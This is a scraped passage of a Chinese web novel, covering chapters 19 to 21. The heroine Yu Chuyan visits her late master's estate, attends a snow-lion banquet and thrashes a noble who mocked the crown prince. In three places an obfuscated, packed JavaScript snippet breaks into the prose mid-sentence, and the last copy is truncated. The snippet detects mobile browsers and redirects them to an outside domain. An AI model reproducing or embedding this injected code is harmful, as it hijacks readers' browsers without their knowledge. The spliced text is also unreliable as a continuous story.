素兰到底没拦下余初晏,还被留在了殿内。 院外,竟有一队步辇侯着,领头的太监帽上覆了一层薄薄的细雪,显然等候已久。 “殿下今日身体不适,不能陪您入宫。特叫奴才送太子妃殿下一程。”小太监谄笑,说话时哈出阵阵雾气。 早知赵景泽今日会染风寒,余初晏思索,毕竟答应皇后与她用膳在先,晚些时候再去瞧瞧小龙崽子。 “你家殿下可有大碍?”象征性问了一嘴。 小太监忙回道:“已经请太医瞧过了,说是邪风入体,喝几天药便无事了。” 看他们各个冻得脸色发青,余初晏瞥一眼阴沉的天,“要不了多久雪就会停,无需你们相送,都散了。” 说完也不管他们会不会走,她已经跃上墙头,兀自跑远。 灵力自会替她挡去近身的风雪,让人相送不过是增加他人的负担。 - 今日青渊帝也在凤仪宫,瞧着帝后的架势,应该是特意等着她用餐。 两位小殿下不在,答应三殿下和她玩雪是做不到了。 听闻太子生病不能前来,宋瑛不甚在意,催促着余初晏赶紧入座。 宋瑛眼尾还微微发红,像是哭过,余初晏装作不知晓,任由她细细端详自己。 青渊帝却是急不可耐问:“国师仙逝,你之前怎么不曾与朕提及?” 余初晏沉默,谁会将亲人离世挂在嘴边,“陛下又没问。” 殿中陷入诡异的寂静,满桌华食,帝后二人却无心享用。 余初晏照常,说动玉箸就动玉箸。 被她这么一弄,青渊帝心中的感伤莫名散去了几分,看皇后仍然食不下咽,遂端起汤羹安抚。 “昨夜难受了一宿,好歹也吃些垫垫肚子,国师想来也不愿你我因她而忧思过度。” 皇后不愿多用,每当忆起国师的音容笑貌,便心如刀绞。 七年陪伴,国师于她是姐妹是母女,纵然国师离京,她也时时念想着,至少人还活着。 如今方知天人两隔,国师连个念想都未曾留给她们,宋瑛终是忍不住怨起国师的心狠。 修真之人,当真是铁石心肠。 见宋瑛潸然泪下,余初晏口中索然无味。 皇后待她极好,从得知她的身份至今,知她行事肆意,胆大妄为未曾说过一句责怪话,反而处处照拂于她。 哪怕这份照顾有爱屋及乌之举,余初晏还是心有感触。 思来索去,余初晏从芥子里翻出一枚通体黝黑的玉石放于皇后面前。 指尖一翻又是枚灵石,示意皇后伸手,将灵石放于她手心。 “母后若是想念师尊,便用手中的灵石触碰这颗黑色的石头。” 宋瑛微愣,手中捏着灵石,小心翼翼地触上去,眼中藏着疑惑与期待。 两石相触,玉石黝黑的表面亮起莹蓝的纹路,眨眼间,一道身影跃然于帝后眼前。 那影像堪堪巴掌大,细看之下是国师的容貌。 只见她持剑而立,随着纹路流转,人像动了,手中长剑飞舞,一招一式暗藏恢宏气势。 影像很短,不过弹指间,是余初晏幼时用来学习的留影石,类似的石头与玉简她还有很多,送给皇后一枚并不觉心疼。 但是青渊帝不给。 “灵石还能用很久,母后不用省着,想看便拿出来瞧瞧。” 留影石被皇后珍重地收下,无论青渊帝如何使眼色、暗示,余初晏都视而不见。 心中有了慰藉,皇后好说在青渊帝陪伴下开始用新上的热食,余初晏在一旁吃了两口,见帝后如胶似漆的模样,手中的食物都不香了。 不多时,又带着众多赏赐回东宫,其中还有国师府的地契与钥匙。 毕竟是师尊曾经居住过的地方,余初晏想了想,决定得空了去一趟。 现下先去瞧瞧生病的太子殿下。 - 余初晏被拒之门外了,小太监在她面前抖成筛糠,生怕余初晏心生不满,将他打飞。 不曾想余初晏只是望一眼门后,道:“那你转告太子我出宫去了。” 随即转身就走,门前雪地没留下丝毫她曾来过的痕迹。 小太监恭送她后,才回屋内复命。 赵景泽穿着单薄的中衣,披了件夹袄,屋内地龙燃得旺盛,倒也不觉得冷。 手中虽拿着书,却没读进去一个字,甫见到小太监,追问:“阿晏有说什么吗?她什么神情?” 小太监面露难色,“太子妃殿下没什么表情,说是要奴才转告您,她出宫去了。” “可有说出宫去做什么?”赵景泽坐不住了,想起身,又头重脚轻靠回床头。 小太监摇头不语。 “向三!向三!快给本宫滚出来!”赵景泽强忍不适,连声高呼。 出来的却是冷峻的向一,他单膝跪着,“回禀殿下,向三因落水染上风寒,这些天怕是没法近身伺候。” 赵景泽头疼欲裂,“他怎么不淹死!那你去查!去查太子妃出宫做什么!” 向一抱拳领命,宫人也被赵景泽挥退。 他靠在床上,端起身旁的药一饮而尽,苦得他五脏六腑皱成一团,怀疑是那张太医故意报复他。 昨晚他好不容易酝酿起情绪,借着酒意向余初晏表明心意,被蠢透的向三破坏了气氛不说。 今晨酒醒后,又羞愤欲死,不愿面对昨晚失败至极的表白。 恰因喝了烈酒后吹风生了病,便以染疾为借口不见余初晏。 哪知对方根本不心急,还满心欢喜撇下他出宫去了。 越想越难过,赵景泽唤人去请张太医,打算让太医开剂猛药,最好能让他今天就痊愈的那种。 - 被太子记挂的余初晏,已经在国师府门外。 国师府并未处在内城,相反,坐落于外城,背靠宝山。 但与皇城离得极近,地势更高,站在府中高阁,还能俯视皇城乃至整个澧都。 青灰色石墙伫立,镶着三扇紧挨着的深色古朴木门。 台阶很高,因为久未有人经过,阶上雪积了厚厚一层。 青渊帝道府中尚有老仆打理,余初晏叩了叩门。 不多时,大门缓缓打开一丝缝隙,一位须发皆白的老者探出头。 他像是早知会有人来此,轻轻颔首,便请余初晏入内。 这时余初晏才发现,他是名哑奴。 老者比划半响,余初晏并未看懂,稍加思索,掏出曾给皇帝看过的麒麟玉佩,拿给老者看。 老者果然不再比划,抚摸着玉佩怔怔出神,仔细端详过余初晏的容貌后,复将玉佩交还。 他不知从何处拿出陶埙,置于唇边吹奏,一位少女从不远处的楼阁中灵巧地翻出,来到两人面前。 “祖父,你找我?” 少女上身穿着夹袄,下身叠穿了几层,看起来不伦不类的。 更让余初晏觉得违和的,是她的气场,怎么看都是普通不过的无色,余初晏就是觉得诡异,不动神色打量了好几眼。 少女与老者用手比划着交流,很快,老者又朝余初晏颔首,蹒跚着离去。 而他的孙女径直走向余初晏,“祖父让我带你逛逛,走吧。” “我叫叶苒,你叫什么?” “余初晏。” 国师府很大,期间引山泉水作溪,流经整个府邸。 府上大部分建筑依水而立,山水环绕,楼阁错落有致。 叶苒一一介绍过这些楼阁,指明主院,“主院已经收拾过了,东西都有,你要是想住,随时都能住。” 余初晏无心听她讲解,也无心旁观风景,目光始终粘在她身上,眉心紧蹙,似乎遇上了怎么也想不通的难题。 叶苒被她看得心中发紧,手足无措,“你……一直看着我干什么?” “你的命格很奇怪。”余初晏说,“是早夭之像,理应活不过二八,但你却活下来了。” 不仅如此,周身气场相当奇怪,若非她四肢协调,体内之气运转流畅,余初晏会以为她不过一具被人操控的活尸。 叶苒僵硬地扯着笑,“你怎么诅咒人?我早过了十六了!” 横竖与她没有太大关系,余初晏只是奇怪而已,改命不改命格,迟早还是会死。 不再关心眼前人,余初晏道:“你不用跟着我,我自己逛即可。” 说罢朝着主院而去。 叶苒似乎被她先前那番话说出了火气,转身愤愤跑走。 主院位于府中心,是一小片湖心岛,由廊桥连接岸边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569250|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因着湖水是活水,并未结冰,枯荷伏在水面上,时不时因游鱼触碰而轻晃。 掠过水面,稳稳落在地面,最初感受到的便是师尊布下的阵法。 难怪湖面不结冰,不单单因为活水,还因为师尊布的阵另岛上四季如春,冰雪沾染不了半分。 外设有结界,一般人无法入内,但拦不住一脉相传的余初晏。 岛上生机勃勃,四周花卉盛开,像是有人精心打理过,应当是那哑奴。 院中的香樟树长得肆意,清香扑鼻,树下还吊着一座秋千。 以前在玉虚山上也有这样一座秋千,师尊孩子心性,分明是自己爱玩,却总要带着她一起,硬说是陪她玩。 余初晏晃动一下秋千,没有坐,转而推开房门,进到室内。 室内陈设简洁,前厅,书房,居室与后院一间汤房。 汤房里内设有一汪温泉,余初晏伸手一探,是普通的水,还以为师尊会用灵泉这么奢侈之物。 房中很干净,未沾灰尘,仿佛屋主从未离去过。 书房中摆着几册书卷,余初晏随手拿出一本翻动,上面带有有幼儿随手涂鸦与稚嫩的笔记。 她猜测是青渊帝的,因为后面几本书上的笔迹笔锋渐利,与师尊的笔迹大相径庭。 还有几卷画像,是年轻时的帝后以及青渊前两任已逝去的帝后,师尊的也有,她一直是余初晏记忆那副模样,从未变过。 另一副却是名陌生女子,骑在高头大马上,骏马前蹄高扬,她头戴金冠,身着黑色劲装,腰间别着一枚凤凰振翅的玉佩,眼神睥睨望来。 画上没有任何文字记载她的身份,但能被收于此间,应当与师尊关系匪浅。 余初晏将画卷重新收好。 天色渐沉,湖面上飘起雾气,朦胧一片。 书房的窗户能望见上岛的廊桥,那名奇怪的少女,端着吃食行走于其间。 她被结界阻拦,慢慢于结界上画出复杂的符文,才被允许通过。 见到余初晏后,她像是忘记了之前的芥蒂,自来熟地向余初晏搭话,“你和国师什么关系?这么多年除了我和祖父,没人能直接进到这里。” “那个符文太难画了,你们这结界密码太落后了。” 余初晏看一眼她端来的食物,简单的清粥小菜,平日里在宫中吃得太好,这些吃食有些入不了她的眼。 她站在窗前没动,“我不吃,留着你们自己用。” 对于叶苒口中奇怪的词汇,她也直接忽视,“我进来无需画符,师尊的结界认识我。” 叶苒动作一顿,口中小声嘀咕着:“修仙的就是了不起……” 把玩着手中的纸鹤,余初晏没有避讳旁人,将纸鹤放飞出去,它们会送至皇宫,告知帝后与太子,她今晚憩于国师府。 转头见叶苒欲言又止,余初晏道:“你还有何事?” “你能允许我祖父离开国师府吗?” 两人同时开口。 余初晏没想到是此事,便问原因。 叶苒皱眉,“国师府中潮湿,我祖父年龄大了,风湿一犯,腿脚疼得受不了。” “况且这里太偏僻了,根本没有郎中愿意过来。” “既然你是国师府的新主人,看在我祖父这么多年劳苦的份上,放他下山去,反正他也说不出话。” 她一口气说了许多,隐隐有抱怨之意。 余初晏倒无所谓,她不会久居国师府,老奴走了,皇帝应该也会再安排其他人补上。 想起皇帝给她的地契中,还夹有老奴的卖身契,遂问:“那你们可有其他去处?” 叶苒忙点头,国师府虽然偏僻,守在此处酬劳给得倒是多,她早就备好了银两,也看好了院落,只等下山就能安顿祖父。 “那你们明日就可自行下山。”余初晏随手拿出卖身契,只有那名老者的,叶苒的并不在其中。 余初晏抬头看着她,面带疑问。 “啊!我是祖父在山间捡的孤女,钦天监的人也知道,应当是忘了给我补卖身契。”叶苒挠挠头。 卖身契交到她手中,叶苒满心欢喜左右检查,确实是她祖父的名讳,宝贝似地收进怀中。 眼见余初晏摆出送客的姿态,叶苒目光右移动,像是在听什么东西说话,而后眼神逐渐坚定,咬牙复又道:“等等!只有我祖父要下山!我……我要跟着你!” 余初晏:“……”她是什么香饽饽吗? 20. 雪狮宴 余初晏在国师府住了一晚,情绪有几分低落。 虽说这里灵气充裕,还有师尊残余的气息,与玉虚山无二。 余初晏久违地睡上了片刻,修仙之人无需睡眠,她已经很久没有入梦了。 梦中还是没有师尊的身影,醒后的余初晏翻出玉简,望着师尊一遍又一遍舞剑出神。 等到窗外的天泛白,她才收拾好一切。 今日还要赴宋峥之约,去她府上赏雪狮,余初晏还需回东宫一趟换件衣裳。 甫一出结界,撞见了爷孙二人在廊桥上争吵——用手。 老奴面露焦急,远远望见余初晏,甚至膝盖一屈,长跪不起。 “祖父!”叶苒拉他,未能拉动,还被老奴甩开手臂。 余初晏旁观了一会,老奴跪下后,却是不好再保持沉默,便问:“这是在做什么?” 叶苒尴尬用鞋底蹭着桥面,“祖父他以为你要赶他走……” 余初晏懂了,爷孙两人并未商议好,一个想祖父治病,另一个执意守在国师府。 她记得卖身契上,哑奴已经在这座府上待了近四十年了,未有妻儿,只有他捡来的少女与偶尔来国师府的钦天监官员陪伴。 “他不愿意下山,那就继续住着吧,我请太医上来一趟。”余初晏用灵力将他扶起。 顺势探查一番他的痹症,确实挺严重,关节处黑气渗入。 “这岛上不是还有空房,痹症最严重的时候便住在岛上罢。” 老奴应是听明白了,不断摇头,手中念念有词。 叶苒代他说话,“祖父说能留在府中就很好了,住在湖中心他受不起。” 余初晏回望一眼师尊曾住过的房屋,道:“无妨,屋子建着就是给人住的,况且住得近些,也方便你打理这些花草。” 不想听他拒绝,余初晏直接替他做决定,“就这样,你不住的话那就去山下治好病再回来。” 哑奴果然不再比划,在叶苒的搀扶下,浑浊的眼中水光闪烁。 叶苒用口型比划着“谢谢”,余初晏收下了,错开两人,径直离去。 至于叶苒昨日说的要跟着她,已经被她直接回绝,且不说不需要,她才不会留一个将死之人在身边。 - 太子还是不愿意见她,换好常服的余初晏站在太子寝宫门口,又一次遭到了阻拦。 余初晏不高兴了,“理由?”她问。 小太监左顾右盼,眼见余初晏越来越不耐烦,才道:“殿下病得更厉害了……昨日,贺二少来探望了一番,不知怎地两人吵了起来。贺二少走了后,殿下想出宫找您,回来就……” “总之,这会是真的不能见您,殿下怕过病给您,您就别为难奴才了。” 神识探入殿内,小龙崽子确实在塌上卧病休息。 余初晏垂眼思索一番,“贺二,是那个定边侯家的贺二?” 小太监点头称是。 余初晏记下了,独自一人出宫去了。 澧都内城西街一带皆是达官贵人府邸,御赐的郡主府也在此,原是前朝某位王爷的住处,府邸修得极为华贵。 余初晏到时院中已有不少宾客,皆是些年轻女子,或坐于亭中闲聊,或于路边赏雪、赏花,手中大都抱着精巧的手炉。 路旁树枝上竟是缀满盛开的鲜花,在寒冬中显得格外耀眼。 余初晏观察一番,没有生机,不知是用何种材料制作的假花。 这一路上的树梢皆是如此,有些坠着小巧的金钱贡桔,宋家财大气粗可见一斑。 院中堆放着形态各异的雪狮,像是他人精心所制,因为其中还混杂着歪七歪八不成型的狮子,这应当是外行人所堆。 走廊各处燃着炭盆,三三两两的贵女围在炭盆前闲聊,旁人经过时。哪怕不相识也会露出笑意,颔首示意。 再往前些,半开放的亭中一伙人聚在一起热热闹闹打叶子戏,笑闹声不断。 余初晏一眼便瞧见了李晓蓉,她坐于桌前,手中握着木制牌,面带苦恼。 一旁杏衣女子道:“你要这般出牌。” 另一名蓝衣女子拉住她,“观棋不语,你这臭棋篓子,可别害了人家。” 余初晏是生面孔,那日宴会又坐于上首,记住她容貌的并不多,旁人瞧着只当是哪家刚进京的小姐。 引路的小丫鬟却是得了宋峥的嘱咐,也不知她如何认出余初晏的,径直将余初晏带到宋峥面前。 宋峥正旁观她人下双陆棋,怀中抱着只昏昏欲睡的狮子猫,眼睛黏在棋盘上移不开视线,身旁不少女子像她般专注盯着棋盘。 “郡主,太子妃殿下到了。” 小丫鬟告诉宋峥时,她还不相信,府上安安静静的,哪是太子妃来的架势, 转头看见在一旁拨弄金钱贡桔的余初晏。 棋不看了,猫也随手放到一旁,口中喊道:“阿晏!怎地你一个人来的?” 余初晏不解,“我还要带谁一起吗?晓蓉不是已经到了?” 宋峥这才想起姑母曾说过余初晏自幼长在山里,对宫中规矩多有不熟,便和她解释太子妃出宫要坐轺辇,配有仪仗、侍卫等等。 余初晏一听头两个大,她出来到此不过一盏茶的功夫,若是还坐步辇,带上这么多人,天黑了都未必能到。 “姑母总说太子拧不清,竟是真的,你不知,太子能不知吗?阿晏不必伤心,我会与姑母好好说道说道。” 瞧着宋峥不满的模样,余初晏把她根本没告诉太子这事咽了下去。 “不提男人,带你与姐妹们认识一番。”说罢,她拉着余初晏四处介绍。 先前观棋的那几位斜着眼睨来,“你又打哪认识的妹妹?一天天的去了吴州也不消停。” “瞎说什么,这是真妹妹,前两日你们刚见过的,姑母身边那位。”宋峥嗔她们。 几人这时反应过来,那不是太子妃吗? 作势就要行礼,余初晏摆手免过她们的礼。 哪知正下着双陆的女子借口被太子妃分了神,偏要悔棋,引得旁人唏嘘。 宋峥笑着拉上余初晏去旁边转悠,每当把她介绍给别人,这些年轻女子都与最初那群一般,只道宋峥又认了新的妹妹。 待宋峥一一解释过,又是行礼又是打趣。 久了连余初晏看宋峥的眼神都变了,这宋家表姐,到底是多喜欢找妹妹,才引得所有人一副见怪不怪的样子。 “阿晏怕是自己都未发觉。”宋峥和她肩挨着肩,眼中含着揶揄,“你在生人面前话会很少,虽说认认真真瞧着人家,实际上时不时怔神,思绪飘到天边去了,莫不是怕羞?” 余初晏确实不太会与人打交道,前二十年的岁月里,除了师尊,再无其他活人能交流。 下山后上澧都那段路,一直磕磕绊绊和人交流、问路,久了习惯成自然,自己形成了一套打交道的模式。 在她看来,人与人交流应该是带有目的性的,问路、点餐、和李晓蓉做朋友、向皇后请安、稳住小龙崽子和他多待一会,这些都有目的性。 而和宋峥的朋友们相处交谈,她找不到太多目的性,参加宴会同理。 这种不能给她带来实际好处,对修炼没有增益的交谈,她不知如何也不太想推进。 同宋峥说出来,也不过徒增麻烦,她道:“表姐就当我是怕羞罢。” 宋峥或许看出了些端倪,眯着眼,忽然带着她去了叶子戏那桌,她问:“阿晏可会打叶子戏?” 余初晏摇头,目光与已经下桌的李晓蓉交汇时,微微露出笑容。 宋峥推了沉浸在游戏中贵女一把,“歇会儿,让我的好妹妹来两手。” “做什么!你这主人家也不知再开一桌吗?”贵女嘴上虽抱怨着,手中牌一扔就要开溜。 “哎!她这把快输了,宋阿峥你太不厚道了!”牌友挽留不成,只能瞪着宋峥。 宋峥拉过余初晏,将她按在桌前,教她规则。 “哪来的初学者,你哄妹妹开心,就让我们作陪。”另位贵女佯装抱怨。 宋峥却是笑道:“我这个妹妹家中可富庶了,不赶着人家初学,多从她手里漏点财嘛!” 余初晏:“……”抬头看见宋峥朝她眨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574346|170346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,又低下头看牌。 “谁能富得过你宋家,除了老赵家。”洗牌的贵女一顿,抬头多看了余初晏两眼,心中一惊,“可别真是……” 宋峥却是不答,俯身从她手中接过牌,开始发牌。 她这态度已经说明一切,桌上另外三名贵女铆足了劲,打算好好试探一下这位京中的焦点太子妃殿下。 余初晏第一把还不熟悉规则,打得很慢,宋峥细细给她讲解,还惹得旁人翻白眼,“郡主,你也太厚此薄彼了,我们初学的时候何曾有过这架势。” 宋峥不理,这把打得几人索然无味,好在余初晏掏钱爽快,一把金珠就这么随意散在手边。 等第二把第三把,余初晏虽未进项,但也没输钱。 第四把开始,她便再没输过,把把都是赢。 打到最后,眼见荷包越来越扁,余初晏手边的碎银越来越多,其他三人嚷嚷着要换人,不愿与余初晏继续。 宋峥也是目瞪口呆,手搭在余初晏肩上,问道:“阿晏你会记牌?” 余初晏抬眼,“这很简单啊,你们不会吗?” 下一秒,余初晏被赶下了桌子,银两原本想还给她们,却被几人面红耳赤地拒绝。 宋峥乐得不可开支,叫她把银两收好,回头自己买点喜欢的。 “她们也不是针对你,主要姐妹们聚在一起打叶子戏不过图一乐,少有人为了赢专门记牌。” 余初晏掂量着手中的银两,有些分量,但比起她手里的金珠,算是九牛一毛。 好歹是她凭本事赚的,嘴角忍不住翘起,将银两收入袋中。 宋峥陪她逛了会,又去忙晚宴的事。 因着总有人想和她搭话,余初晏找了处偏僻的院落躲起来,偏生还有一团橙气跟着她。 她特意坐在高墙上,打算看看到底是何人。 便瞧见一名少女,看着还未到出阁年龄,扎着双丫髻,浅色的发带尾缀着珍珠,随着她转头轻轻晃动。 “跑哪去了,明明看着往这边来得。” 余初晏看她有几分眼熟,应该是见过的,在哪见过有些记不清。 少女执着得过分,院落里进进出出到处寻,找不到余初晏誓不罢休。 余初晏撤去隐身符,“再找我?” 少女吓了一跳,顺着声音往墙上看,显然不理解自己进进出出几次,为何会错过墙上这么大个人。 想不通就不想了,她双手叉腰,哪怕仰视着余初晏,气势不减,“你可是赵大的太子妃。” “是我,你找我做什么?”余初晏想起这人是谁了,是定边侯的妹妹。 “就是你将我大哥打败了?来和我比划比划!”贺吟显然不信余初晏有这个实力,心中想过上百种原因替大哥找补。 余初晏原先不想搭理她,忽然像是想起了什么,勾唇一笑,“可以,但你要替我做件事。” 见她神神秘秘,贺吟却是不上钩,“你不怀好意,我不做!” 余初晏笑意一敛,“不答应就算了。” 说着就从贺吟眼中消失。 贺吟双眼圆睁,不信邪跳起来去摸那片墙角,什么都没摸到,忙喊道:“我做!我做!你别走!” 余初晏又出现了,还是在老位置,未曾挪动半分。 惹得贺吟又惊讶又狐疑,再想伸手,余初晏从墙上轻飘飘落下,不让她碰。 “你先说说是什么事。”贺吟一扬下巴,“要是做什么伤天害理之事,就算了。” 余初晏觉得她甚是可爱,尤其是头顶上晃来晃去的珍珠,笑道:“你有个二哥?” 珍珠又开始晃,“对,你认识我二哥?” “你带我去见你二哥,就……就现在!”余初晏看一眼日头,现在去一趟再来,还能赶上晚宴,“见完你还想跟我比试,我就指点指点你。” “成交!君子一言,驷马难追!” 两人击掌为誓,余初晏心情很好,朝贺吟伸手。 对方不明所以,试探着将手心搭上,下一瞬,她的尖叫响彻了整个郡主府。 “哇啊啊啊——!!!” 21. 不羡仙 天还未暗,不羡仙已经灯火通明,哪怕在澧都最繁华的东街上,也显得格外耀眼,不愧为澧都最大的酒楼。 不羡仙天字阁,非达官贵人不得入,而如今这间顶层最豪华的隔间被人包下。 楼内最名贵的菜品酒水,如流水般被送入其中,乐得楼下的掌柜合不拢嘴。 更有乐伎相伴,隔着屏风,丝竹之音娓娓动听。 其间聚着一众年轻男子,若有朝中人一探,便能认出都是早两年京中有名的纨绔。 如今这些人各自准备成家或是入官场,或多或少收敛了脾性。 居于众人中心的,正是贺家老二,贺咏。 贺家贵为当今圣上母族,位高权重,世代为青渊镇守北边防线,战功显赫。 如今的老家主,贺鸣祖父,与太后同出一母。 而贺老家主独子与其妻早年战死沙场,余下三名幼子与年迈父母,陛下感其功劳,早早赐了长子贺鸣爵位。 待到贺鸣及冠后接过父母之责,短短几年屡屡立下战功,爵位也一路上升,更是陛下亲封定边侯,深受圣宠。 贺二与长兄不同,虽得了恩宠,做了太子伴读,却是京中出了名的纨绔子弟,吃喝嫖赌五毒俱全,京中人闻之无不叹息。 未免带坏储君,定边侯强令贺二同他戍守边疆,远离澧都。 好不容易逮着机会归京,兄长又忙于庶务,贺二可不得趁机呼朋引伴,好好逍遥玩乐一番。 贺二坐于窗前,烈酒一杯接一杯灌入喉中,旁人笑他,可是受了什么刺激才借酒消愁。 贺二冷笑,“赵大那厮,居然是个惧内的,我不过调笑了几句,便要与我绝交。” 在座几人对贺二与太子那点恩怨也算知根知底,说到底贺二离京,起因就是他哄骗着太子逛花楼,哪知太子竟是惊得从二楼一跃而下。 此事惹恼了帝后,为保贺二性命,贺老侯爷不得不进宫求情,闹剧最终以贺二离京,无召不得回收尾。 太子也是个不记仇的,那日晚宴贺二低声下气哄着,两人和好。 不过这才短短两日,两人又生了嫌隙。 几人心思各异,安慰贺二两句,“赵大和你吵架哪次真翻过脸,他就那性子,比娘们还磨叽。” 你一言我一语,好歹将贺二眉间抚顺。 “也是,我跟赵大什么关系,怎是一个不知从哪个山里蹦出来的乡下女人就能影响的?” 待他明日再进宫去,提点谢礼,投其所好,赵大照旧原谅他。 众人又讨论起晚膳后该去何处逍遥,话语间带着京中几处名楼的名讳。 用得正尽兴时,房外传来一阵喧哗,贺二眉心一皱,天字阁旁人上来不得,哪个不长眼的敢来砸他的场子。 刚想指使人出去瞧瞧,那门被人从外踹开,看清来人后,贺二一口酒喷出,坐姿一把摆正,“贺吟!你来这做什么?” 贺吟瞧都不瞧他一眼,捏着鼻子,受不了满屋的酒气,她手一指,“就那个黑衣的,我二哥。” 贺二还想问她跟谁说话,门外走进来一名女子。 她穿得单薄,上着绣花鸟的浅色对襟夹袄,下着麒麟暗纹打底的青色褶裙。 身份一目了然。 尤其那双眼睛,直叫贺二心悸不已。 余初晏缓步行至贺二面前,居高临下俯视他,“你便是贺二?” 奏乐声将停不停,乐伎拿不准客人之意,停顿片刻,继续演奏。 贺二被这轻蔑的目光看得心中恼火,想要起身,却发现身体动弹不得,像是被人死死压在了这逼窄的椅子上。 “是我,你待如何……” 话音未落,身下的椅子骤然碎成齑粉,贺二狼狈地跌落至地。 余初晏屹然不动站在原地,仿佛贺二倒地与她无关,她问:“你昨日去东宫,缘何惹得太子与你争吵?” 被一个女人弄成这样,贺二心中难堪至极,嘴硬道:“男人家的事,你一妇道人家少管。” 余初晏点点头,“看来你是不想说了。” 她环视一圈,将屋中几人的脸看清,都是那日拢在太子身边的几位,也是正巧。 他们像是搞不清余初晏的目的,或坐或站,目光紧紧注视着她的一举一动。 贺二又想开口,忽然一记重重的巴掌打在他脸上,直将他连同身旁紫檀木小桌一同掀翻在地。 余初晏瞥他,笑意盈盈,“哎呀,怎么这么不小心。” 在座几位甚至没见余初晏出手,有急躁的已经猛地站起身,探头去瞧贺二的情形。 接下来贺二再无开口的机会,他被一股无形的力量按在地上,任人搓扁揉圆,脸上颜色越来越多,没一会已经能用惨不忍睹形容了。 而罪魁祸首余初晏,悠悠地坐下,为自己斟上一杯茶。 无人知道她是如何动手的,只知那贺二无论怎么反抗,都无济于事,好几次想要说话,脸都会被死死压在墙上或地上,无法发声、无法呼救。 终于有人受不了了,抽出袖剑挥向余初晏,这一回他们终于看清了她的动作。 余初晏一脚就将那人踹飞,撞破屏风,重重砸进墙面。 几名乐伎被吓得花容失色,抱着乐器躲至角落。 还有人想用身份压余初晏一头,余初晏微笑,“是吗,户部尚书家的三子,我记住了。” 那强用身份出头的少年人,被她瞧得惶恐不已,差点跪伏于地。 贺吟攀着房门,只敢露出一双眼睛往里看,眼睁睁看着她二哥被打得连声音都发不出。 余初晏打够了,停了手,贺二才像死狗一样伏在地上喘息。 她撒一把金豆子落在贺二身上,“不好意思,乡野出身就是这么没轻没重,二少拿着钱去诊治一番吧,可别留下病根了——你们还不快把二少扶起来。” 众人哪敢吭声,更不敢去扶贺二,僵持在原地。 屋内一片死寂。 余初晏眉心一压,那尚书之子立马连滚带爬来到贺二面前,想将他扶起,却因为腿软,两人都堪堪跪倒在地。 “我听你们赵大来赵大去的——”余初晏拖长调子,“你们也想找打吗?” “不不不!太子殿下,我等称的是太子殿下。”几名少年头摇得飞快,生怕慢了一步,落得跟贺二一个下场。 余初晏展颜,“原来你们还是能好好称呼太子殿下啊,我还以为这四个字烫嘴,想给你们好好洗一洗。” 口中说着,眼睛看向外屋檐上悬着的冰锥。 顺着她的目光,这些人也看到了敞开的窗户外锋利的冰锥,争先恐后起誓,日后绝不会对太子殿下不敬。 余初晏很满意,目光落到贺二身上,“那你呢?还找打吗?” 贺二被打怕了,吐出一口血沫,隐约可见两颗碎牙,余初晏顿时嫌弃得后退半步。 贺二也随之一哆嗦,与其他人不同,他是真正感受到余初晏的杀意,那股无形之力是将他往死里打,遂磕绊道:“不……不了,我日后定会好好称呼太子殿下……” 孺子可教也,余初晏心情大好,“下次再让我听到你们找打,或是合伙欺负太子,我可就要登门拜访一番。我这性子,娘们得很,多有得罪之处,你们不会介意吧?” “太子妃殿下说笑了……”众人赔着笑,只想将这尊煞神快些送走。 余初晏确实该走了,再晚些宋家表姐就该找她了,她施施然向前两步,走到门口忽然回头。 原本松了口气的少年人们一颗心又猛地悬起,胆战心惊地瞧她。 余初晏却是自言自语,“我今日一直在郡主府,未曾离开过。” 脑子灵活点的,马上道:“您说得对,我们今日从未见过您,贺二——贺二那是喝醉酒,自己摔的,真是太不小心了。” 这回余初晏是真下楼了,随手撒的金豆子,被贺二一群人捡走了也好,留给酒家也罢,就不关她事了。 贺吟小心翼翼跟在她身后,头都不晃悠了,像只呆头鹅。 余初晏笑了笑,“你现下要跟我比划比划吗?” 贺吟猛地摇头,配合着她头上几枚小珍珠,像是个拨浪鼓,“我不找打……不是,我是说……等我再准备准备。” 笑意更甚,虽说定边侯本人不讨喜,还有个混子老二,至少妹妹讨人喜欢。 余初晏朝她伸手,“那我们回去了。” 贺吟破罐子破摔,回握她。 起初贺吟还有些慌神,习惯后还隐隐兴奋,只当是更快一些的轻功。 回到郡主府时,还有些意犹未尽。 郡主府果然快开宴了,只因半响找不到余初晏,一直拖着。 宋峥正着急,甫见着余初晏,立马迎了上去,“阿晏,你跑哪去了?还以为在我府上都能把你弄丢,可急死我了!” 余初晏毫不犹豫扯出藏在她身后的贺吟,“跟她比划去了。” 贺吟在宋峥面前,安分如鹌鹑,端着蹩脚的礼仪,盈盈一拜,“宋家阿姊好。” “罢了,快些入席,就等你们了。”宋峥叹口气,像是在看两个不听话的小辈,一手拉一个带进席间。 晚宴顺利结束,散席时天色已晚,断断续续有人向主家宋峥辞行,家离得远些的,还会在郡主府歇下。 宋峥广交好友,郡主府上时时备着客房。 宫中虽已经落钥,皇后派了一队人马来接余初晏,宋峥万般挽留,总想余初晏留宿她家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 